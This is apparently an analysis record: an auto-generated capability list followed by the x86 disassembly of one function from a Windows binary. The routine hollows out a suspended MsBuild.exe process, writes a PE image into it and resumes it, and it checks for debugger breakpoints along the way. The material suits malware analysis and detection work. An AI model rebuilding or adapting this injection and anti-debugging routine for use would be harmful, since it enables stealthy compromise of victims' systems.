Function at 0x4085a0
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Read process memory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x415044]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0x90], 0
push str.CreateProcessA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0xa4], 0
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x9c], 0
push str.VirtualAllocEx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x74], 0
push str.WriteProcessMemory
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x94], 0
push str.GetThreadContext
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0xa0], 0
push str.SetThreadContext
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x8c], 0
push str.ResumeThread
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x78], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x6c]
cmp dword [eax], 0x4550
jne 0x4089e0
xor ecx, ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x54], ecx
push 0x44
push 0
lea edx, [ebp - 0x50]
push edx
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xa8], eax
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x50]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
movzx eax, byte [ebp - 0x81]
push eax
push str.C:WindowsMicrosoft.NETFramework_v4.0.30319MsBuild.exe
lea ecx, [ebp - 0x110]
call fcn.004011a0
mov ecx, eax
call fcn.00407ca0
push eax
call dword [ebp - 0xa8]
test eax, eax
je 0x408769
mov byte [ebp - 0x65], 1
jmp 0x40876d
mov byte [ebp - 0x65], 0
mov cl, byte [ebp - 0x65]
mov byte [ebp - 0x66], cl
movzx edx, byte [ebp - 0x66]
cmp edx, 1
jne 0x4089e0
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [eax], 0x10007
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x5c]
push eax
call dword [ebp - 0xac]
test eax, eax
je 0x4089e0
mov ecx, dword [ebp + 4]
mov dword [ebp - 0xd4], ecx
push 0
push 1
lea edx, [ebp - 5]
push edx
mov eax, dword [ebp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call sub.KERNEL32.dll_Toolhelp32ReadProcessMemory
test eax, eax
je 0x4087f8
movzx ecx, byte [ebp - 5]
cmp ecx, 0xcc
jne 0x4087f8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 4
lea edx, [ebp - 0x64]
push edx
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xb0], eax
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp - 0x60]
push edx
call dword [ebp - 0xb0]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x408873
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [ebp - 0xb4]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 6], 0x90
mov edx, dword [ebp + 4]
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
cmp ecx, 0xcc
jne 0x4088d7
lea edx, [ebp - 0xc]
push edx
push 0x40
push 1
mov eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4088d7
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xb8], ecx
push 0
push 1
lea edx, [ebp - 6]
push edx
mov eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0xb8]
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push 1
mov eax, dword [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xbc], ecx
push 0
mov edx, dword [ebp - 0x6c]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x60]
push eax
call dword [ebp - 0xbc]
mov dword [ebp - 0x80], 0
jmp 0x40890d
mov ecx, dword [ebp - 0x80]
add ecx, 1
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x80], eax
jge 0x408971
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
imul eax, dword [ebp - 0x80], 0x28
lea ecx, [edx + eax + 0xf8]
mov dword [ebp - 0x88], ecx
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0xc0], edx
push 0
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x78]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 0x60]
push eax
call dword [ebp - 0xc0]
jmp 0x408904
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xc4], ecx
push 0
push 4
mov edx, dword [ebp - 0x6c]
add edx, 0x34
push edx
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x60]
push edx
call dword [ebp - 0xc4]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x78]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp - 0x70]
mov dword [edx + 0xb0], ecx
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call dword [ebp - 0xc8]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [ebp - 0xcc]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b8fe
mov esp, ebp
pop ebp
ret 4